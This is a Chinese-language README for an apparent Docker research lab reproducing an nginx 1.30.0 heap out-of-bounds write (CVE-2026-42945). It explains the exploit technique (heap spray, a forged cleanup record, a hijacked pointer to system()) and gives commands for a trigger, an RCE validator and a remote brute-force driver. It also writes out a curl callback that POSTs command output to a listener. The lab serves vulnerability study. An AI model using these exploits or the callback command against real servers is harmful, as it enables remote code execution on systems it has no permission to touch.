该仓库是一个可重现的Docker实验室,用于研究nginx 1.30.0中的CVE-2026-42945。它包含一个易受攻击的32位目标、一个原始触发器、一个实验室辅助的已知地址RCE验证器,以及一个无自省的暴力破解驱动。
漏洞利用的边界很重要:
exploit/trigger_oob.py 演示了堆越界写入原语。exploit/lab_known_address.py 在Docker中验证了RCE机制,但它属于实验室辅助方式,因为它通过 docker exec 读取 /proc/<pid>/maps。exploit/remote_bruteforce.py 不使用SSH、Docker、/proc、ptrace或已知地址。它暴力破解SAFE堆页面和libc页面候选,并将出站回调作为唯一的成功信号。远程暴力破解路径仍然依赖于当前的nginx主进程ASLR布局。如果喷射地址不能被所需的URI安全字节字母表表示,则完整一轮会失败,直到nginx主进程重启或重载且ASLR重新滚动。与已知地址验证器一样,完整的RCE路径应在原生的x86 Linux Docker主机上运行,而不是在QEMU模拟的Docker Desktop目标上运行。
/proc/<pid>/maps 公开了nginx工作进程的真实32位地址布局。非x86主机上的Docker Desktop可能会在qemu-i386下运行目标;这足以验证越界崩溃,但不足以验证已知地址RCE计算。构建并启动易受攻击的32位nginx实验室:
docker compose up -d --build
curl http://127.0.0.1:19331/
触发受控的越界写入:
python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char +
docker logs cve-2026-42945-nginx32 --tail 20
运行确定性的仅Docker RCE验证器:
python3 exploit/lab_known_address.py --restart-until-safe
运行无自省暴力破解驱动:
python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \
--shuffle --seed 42945 \
--attempt-delay 0.02 \
--batch-size 5000 --batch-cooldown 10 \
--progress-every 1000
host.docker.internal 用作回调主机,以便嵌入在nginx工作进程中的命令可以将id输出POST回由漏洞利用脚本启动的监听器。Compose文件为Linux Docker引擎映射了此名称。

Compose目标将nginx 1.30.0构建为32位发布风格的二进制文件,并在127.0.0.1:19331上启动。一个简单的GET /返回ok,证明目标在漏洞利用开始前是可访问的。

触发器通过易受攻击的rewrite加set $myvar $1路径发送一个由+字节组成的捕获URI段。+被NGX_ESCAPE_ARGS转义,因此复制过程为每个单字节输入写入三个字节。脚本在发送请求前打印预期的溢出大小。

已知地址验证器是故意辅助的。它从Docker容器中读取实时工作进程堆和libc映射,计算伪造的清理处理程序地址,发送相同的传输级漏洞利用序列,并等待回调。uid=65534(nobody) 输出是nginx工作进程执行id的结果。此屏幕截图来自原生x86 Docker运行;在非x86 Docker Desktop设置中,脚本可能会因qemu-i386原生主机需求而停止。

远程暴力破解脚本移除了仅限实验室的地址读取。它枚举SAFE堆页面候选和libc页面候选,并仅使用回调作为成功判断依据。一轮耗尽而未收到回调并不能否定原语的存在;这通常意味着当前的nginx主进程布局对于此载荷字母表不利,或者需要重启/重载主进程以重新滚动ASLR。
该漏洞利用使用了三个并发的请求角色:
/spray 保持请求体分配存活,并在nginx工作进程堆内存中放置一条伪造的ngx_pool_cleanup_t记录以及回调命令。/api/<payload> 到达易受攻击的重写脚本,并延迟最终请求终止符直到受害者请求就位。/ 创建相邻的请求池,其cleanup指针是受控越界写入的目标。当被损坏的请求池被销毁时,nginx会跟随被覆盖的清理指针。在实验室RCE路径中,伪造的清理处理程序指向system(),其数据指针指向:
id|curl -sm3 -d @- http://host.docker.internal:9876/rce
漏洞利用监听器将该POST视为唯一的RCE成功信号。
docker compose down
此实验室用于授权的安全验证和教育。请保持隔离,不要将实验室端口暴露给不受信任的网络,也不要对不属于您或未经明确许可的系统运行漏洞利用。